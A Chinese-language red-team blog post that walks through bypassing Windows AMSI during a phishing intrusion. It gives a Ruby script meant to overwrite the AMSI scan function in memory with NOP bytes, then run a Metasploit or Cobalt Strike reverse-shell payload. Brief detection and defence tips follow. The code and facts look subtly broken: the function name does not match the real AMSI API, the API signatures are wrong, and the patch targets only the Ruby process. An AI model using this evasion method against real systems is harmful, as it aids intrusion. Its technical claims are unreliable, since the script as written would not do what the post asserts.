一、从一次红队渗透中的“卡点”谈起
在一次针对企业内网的授权渗透测试中,我的目标是通过钓鱼邮件植入恶意载荷后,从终端获取初始访问权限并进一步横向扩展。然而,目标环境的防护体系非常严密,微软的反恶意软件扫描接口(AMSI,Antimalware Scan Interface)在检测恶意脚本方面异常敏感。我的恶意代码在终端运行后被 AMSI 拦截,导致后续的加载链被中止。
这是一个红队渗透中非常典型的“卡点”:如何绕过 AMSI 的扫描?绕过 AMSI 的方法很多,但在这篇文章中,我们将专注于一种较为隐蔽且通用的方式,通过 Ruby 与 Shell 脚本实现 AMSI 绕过,并分享完整的技术细节。
本文仅限合法授权的安全测试使用,严禁用于非法用途。
---
二、AMSI的核心原理与挑战

AMSI是什么?
AMSI 是微软为提升恶意代码检测而引入的一种接口,能够对脚本、宏等动态内容进行实时扫描。它的工作方式是在代码执行前,将内容传递给注册的反病毒引擎进行分析。一旦检测到恶意内容,AMSICheckContent 函数会返回结果来决定是否拦截。
具体来说,AMSICheckContent 是一个核心函数,位于 amsi.dll 中。其作用是在脚本执行时拦截代码并交给安全软件扫描。对于攻击者来说,AMSICheckContent 是绕过的重点。
绕过AMS的常见方法
- 直接修改 amsi.dll 内存内容:通过内存补丁篡改 AMSICheckContent 的返回值。
- 修改注册表禁用 AMSI:直接禁用 AMSI 功能(不推荐,容易暴露)。
- 加载干净实例绕过:通过动态加载干净的 PowerShell 实例实现规避。
在这里,我们选择一种更隐蔽的方法:直接在运行环境中用代码动态修改 AMSICheckContent 的返回值,从而实现绕过。
---
三、Payload构造的艺术
为了绕过 AMSI,我们需要构造一个 Ruby 脚本,利用 Windows API 对 AMSICheckContent 函数进行内存补丁操作。以下是完整的 Ruby 代码:
<pre><code class="language-ruby">require 'fiddle' require 'fiddle/import'
加载 Windows API 模块
module Kernel32 extend Fiddle::Importer dlload 'kernel32.dll'
extern 'void GetModuleHandleA(char)' extern 'void GetProcAddress(void, char)' extern 'int WriteProcessMemory(void, void, void, int, void)' extern 'void OpenProcess(int, int, int)' end

加载 amsi.dll 并获取 AMSICheckContent 函数地址
amsi_handle = Kernel32.GetModuleHandleA('amsi.dll') amsi_func = Kernel32.GetProcAddress(amsi_handle, 'AMSICheckContent')
修改 AMSICheckContent 的内存内容(NOP指令覆盖)
nop_sled = "\x90" * 6 # 6个无操作指令 process_handle = Kernel32.OpenProcess(0x1F0FFF, 0, Process.pid) Kernel32.WriteProcessMemory(process_handle, amsi_func, nop_sled, nop_sled.size, nil)
puts "[+] AMSI 绕过成功,现在可以执行恶意代码了!"</code></pre>
代码分析
- 模块导入
我们首先通过 Fiddle 引入 Windows API 接口,包括 GetModuleHandleA、GetProcAddress 和 WriteProcessMemory 等。这些函数是修改内存的关键。
- 定位 AMSICheckContent 函数
利用 GetModuleHandleA 和 GetProcAddress 获取 AMSI DLL 的基地址和目标函数的地址。
- NOP 指令填充
构造 6 个无操作指令(\x90),覆盖 AMSICheckContent 函数的内容,使其失效。
- 写入补丁
使用 WriteProcessMemory 将 NOP 指令写入 AMSICheckContent 的内存地址,完成对函数逻辑的篡改。
---
四、实战环境搭建

为了验证 AMSI 绕过的效果,我们需要搭建一个测试环境:
环境需求
- 攻击机:Kali Linux 或者任意安装了 Ruby 的 Linux 发行版。
- 目标机:Windows 10(确保 AMSI 功能启用)。
- 权限要求:目标进程需要管理员权限,否则无法修改内存内容。
测试步骤
- 在攻击机中准备恶意载荷
使用 Metasploit 或 Cobalt Strike 生成一个反向 Shell 的恶意载荷。
- 在目标机运行 Ruby 绕过脚本
将上述 Ruby 代码保存为 amsi_bypass.rb,并在目标机上运行。 `shell ruby amsi_bypass.rb `
- 执行恶意代码
在绕过 AMSI 后,通过 PowerShell 或其他方式运行恶意载荷,验证绕过效果。
---
五、检测与防御
绕过的检测方法
- 内存扫描
使用 Volatility 工具扫描内存,检查 AMSICheckContent 函数是否被篡改。
- 行为分析
监测目标进程的行为,例如是否加载异常模块或频繁修改内存。
- 日志审计
检查 Windows Event Log,注意 AMSI 错误和其他异常行为。
防御策略
- 启用 ASR(攻击面减少规则)
配置 Windows Defender 的 ASR 规则,限制对内存的修改。
- 代码签名验证
对所有运行的脚本和二进制文件进行签名验证。
- 行为分析工具
部署 EDR 工具,例如 CrowdStrike 或 SentinelOne,实时检测内存修改行为。
---
六、个人经验分享
在实际渗透中,AMSICheckContent 绕过只是第一步,后续还会遇到各种对抗技术。例如,EDR 会分析目标进程的行为,沙箱环境可能会自动冻结可疑活动。因此,绕过 AMSI 的代码不仅要隐蔽,还要确保后续载荷的无文件化运行。
我的建议是将绕过技术与其他免杀技术结合,例如动态加密、内存加载等,以提升对抗能力。同时,永远记住授权测试的边界,合法合规是红队行动的底线。
最后,一个成功的红队测试不仅仅是技术层面的突破,更重要的是对目标环境的全面理解与策略设计。希望这篇文章能为你的渗透测试提供帮助。